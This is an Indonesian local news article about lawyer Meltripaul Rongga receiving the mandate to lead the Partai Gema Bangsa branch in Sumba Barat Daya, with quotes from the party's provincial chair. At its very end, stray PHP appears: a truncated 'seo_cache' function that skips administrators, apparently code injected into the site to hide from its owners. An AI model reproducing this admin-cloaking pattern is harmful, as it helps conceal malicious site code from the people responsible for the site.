Politik

Advokat Meltripaul Rongga Terima Mandat untuk Pimpin DPD Partai Gerakan Mandiri Bangsa Kabupaten SBD

×

Advokat Meltripaul Rongga Terima Mandat untuk Pimpin DPD Partai Gerakan Mandiri Bangsa Kabupaten SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Partai Gerakan Mandiri (Gema) Bangsa kembali melebarkan sayapnya di wilayah NTT.

Setelah kepengurusan di empat kabupaten, kini panji partai besutan Ahmad Rofiq tersebut mulai tertancap di Bumi Loda Wee Maringi Pada Wee Malala.

Penyerahan surat oleh Ketua DPW Partai Gema Bangsa, Jonathan Nubatonis (kiri) kepada Meltripaul Emanuel Rongga (kanan). ( Foto Menara Sumba )

Praktisi hukum Meltripaul Emanuel Rongga diberi mandat untuk mengonsolidasi kekuatan Partai Gema di Kabupaten Sumba Barat Daya.

Seremonial penyerahan mandat dan bendera partai oleh Ketua Dewan Pimpinan Wilayah (DPW) Partai Gema Bangsa Provinsi NTT, Jonathan Nubatonis berlangsung, Sabtu (17/05/2025).

Dalam sambutannya Jonathan Nubatonis menegaskan, Partai Gema Bangsa lahir dari sebuah keprihatinan atas praktik melenceng elit partai.

“Partai politik tidak salah, tapi oknum elit partai yang telah bertindak tidak selaras AD/ART partai,” ujar mantan Ketua DPW Partai Perindo Provinsi NTT ini.

Menurutnya, pencetus berdirinya Partai Gema Bangsa, Ahmad Rofiq sebelumnya adalah Sekjen Partai Perindo.

“Ketua umum yang sekarang membentuk partai ini karena Partai Perindo tidak sehat lagi,” timpal Nubatonis.

Dirinya bersama hampir seluruh jajaran Partai Perindo se-Indonesia kemudian mengikuti jejak sang Sekjen Ahmad Rofiq yang kini menjabat Ketua Umum Partai Gema Bangsa.

Hengkangnya sebagian besar jajaran Partai Perindo melebur dalam barisan Partai Gema Bangsa merupakan bentuk ketidaksepakatan atas hegemoni elit partai di tingkat pusat.

“Partai Gema Bangsa hadir dengan paradigma baru yang menjunjung tinggi kedaulatan rakyat,” sebutnya.

Selama ini, kata dia, pengurus partai di tingkat daerah tidak memiliki kewenangan apa pun untuk mengambil keputusan.

Semua keputusan ditentukan oleh kepengurusan di tingkat pusat, termasuk urusan pilkada untuk menentukan calon kepala daerah.

Hal ini justru bertentangan dengan prinsip otonomi daerah yang jadi dasar pelaksanaan pilkada, akibat sentralisasi kekuasaan oleh elit partai.

Karena itu Partai Gema Bangsa mengusung prinsip desentralisasi yang memberi ruang kepada setiap pengurus daerah untuk memutuskan sendiri hal-hal strategis terkait kondisi lokal.

Kepada Meltripaul sebagai penerima mandat Jonathan Nubatonis berharap agar segera membentuk kepengurusan dan mengonsolidasi kekuatan jejaring partai hingga tingkat desa.

“Segera bentuk formatur pengurus kabupaten, berikan kepada saya untuk diteruskan ke pusat dan segera terbit SK,” tandasnya. ( JIP/MS )

#politik #partaigema

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>